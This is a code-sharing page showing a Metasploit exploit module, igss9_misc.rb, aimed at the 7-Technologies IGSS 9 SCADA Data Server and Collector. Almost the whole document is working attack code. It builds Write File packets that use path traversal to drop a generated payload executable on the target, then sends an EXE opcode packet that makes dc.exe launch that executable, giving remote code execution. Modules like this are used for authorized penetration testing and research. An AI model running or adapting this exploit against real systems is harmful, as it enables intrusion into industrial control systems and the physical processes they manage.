Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/igss9_misc.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::EXE1011def initialize(info={})12super(update_info(info,13'Name' => "7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities",14'Description' => %q{15This module exploits multiple vulnerabilities found on IGSS 9's Data Server and16Data Collector services. The initial approach is first by transferring our binary17with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send18an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run19that payload with a CreateProcessA() function as a new thread.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Luigi Auriemma', #Initial discovery, poc25'sinn3r', #Metasploit26],27'References' =>28[29[ 'CVE', '2011-1565'],30[ 'CVE', '2011-1566'],31[ 'OSVDB', '72354'],32[ 'OSVDB', '72349'],33[ 'URL', 'http://aluigi.altervista.org/adv/igss_1-adv.txt' ], #Write File packet flaw34[ 'URL', 'http://aluigi.altervista.org/adv/igss_8-adv.txt' ], #EXE packet flaw35[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-132-01A']36],37'DefaultOptions' =>38{39'EXITFUNC' => "none",40},41'Platform' => 'win',42'Targets' =>43[44#Service packs do not have any influence on the exploit45[ 'Windows XP', {} ],46[ 'Windows 7', {} ],47[ 'Windows Server 2003 / R2' , {} ],48],49'Privileged' => false,50'DisclosureDate' => '2011-03-24'))5152register_options(53[54Opt::RPORT(0, false),55])56end5758def write_packets(data)59pkts = []6061#Payload will be in C:\Documents and Settings\All Users\Application Data\7T\62tmp = rand_text_alpha(1)63filename = "#{tmp}.exe"6465data_size = data.length66670.step(data_size, 870) do |s|68#Each packet only contains 870 bytes of data69chunk = data[s, 870]7071#Data size of this packet72chunk_size = [chunk.length].pack('v')7374#Flag is set if this is our last chunk75#Flag 0x01 will cause the server to close the connection76flag = (chunk.length >= 870) ? "\x00" : "\x01"7778pkt = "\x01\x00\x34\x12"79pkt << "\x0D" #Opcode80pkt << "\x00"*781pkt << flag #Flag82pkt << "\x00\x00\x00"83pkt << "\x02" #Command (Write File)84pkt << "\x00\x00\x00"85pkt << "../../../../#{filename}" #Filename86pkt << "\x00"*7387pkt << "\x3E\x01\x01\x02"88pkt << "\x00\x10"89pkt << "\x00\x00"90pkt << "\x78\x01\x08\x04"91pkt << "\x78\x01\x08\x04"92pkt << "\x00"*2293pkt << chunk_size #Data size94pkt << "\x00\x00"95pkt << chunk #Data chunk9697#Add the total packet size to the header98pkt_size = [pkt.length + 2].pack('v')99pkt = pkt_size + pkt100101#Put this packet to the array102pkts << pkt103end104105return filename, pkts106end107108def exe_packet(filename)109#Original path seems to be: C:\Program Files\7T\IGSS32\V9.0\GSS110#We'll just traverse our way back to C:\ as base111base = "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"112113pkt = "\x00\x01"114pkt << "\x00\x00\x00\x00\x00\x00\x00"115pkt << "\x01"116pkt << "\x00\x00"117pkt << "\x0A"118pkt << "\x00"*31119pkt << "#{base}#{filename}\""120pkt << "\x00"*163 #only for 1 caracter + .exe (i.exe for example)121122return pkt123end124125def exploit126#Generate payload and our Write packets127print_status("Generating payload...")128p = generate_payload_exe129fname, w_packets = write_packets(p)130w_packets_count = w_packets.length.to_s131print_status("#{p.length.to_s} bytes of payload to transfer (#{w_packets_count} packets)")132133#Generate our EXE packet134e_packet = exe_packet(fname)135136#Create socket to igssdataserver.exe (12401)137connect(true, {'RPORT'=>12401})138139#Count how many packets we've sent to track progress140counter = 1141142#Send Write packets143print_status("Sending Write packets...")144145w_packets.each do |packet|146vprint_status("Sending packet #{counter}/#{w_packets_count}")147counter += 1148sock.put(packet)149res = sock.get_once() #Wait before we do the next sock.put again150end151152#After the 0x01 flag is set, our connection will be closed by the server.153disconnect154155#Now to port 12397 (nc.exe)156connect(true, {'RPORT'=>12397})157158print_status("Attempt to execute our payload...")159sock.put(e_packet)160161#We must delay disconnect() for a bit, otherwise dc.exe won't call162#kernel32!CreateProcessA163select(nil, nil, nil, 1)164disconnect165end166end167168169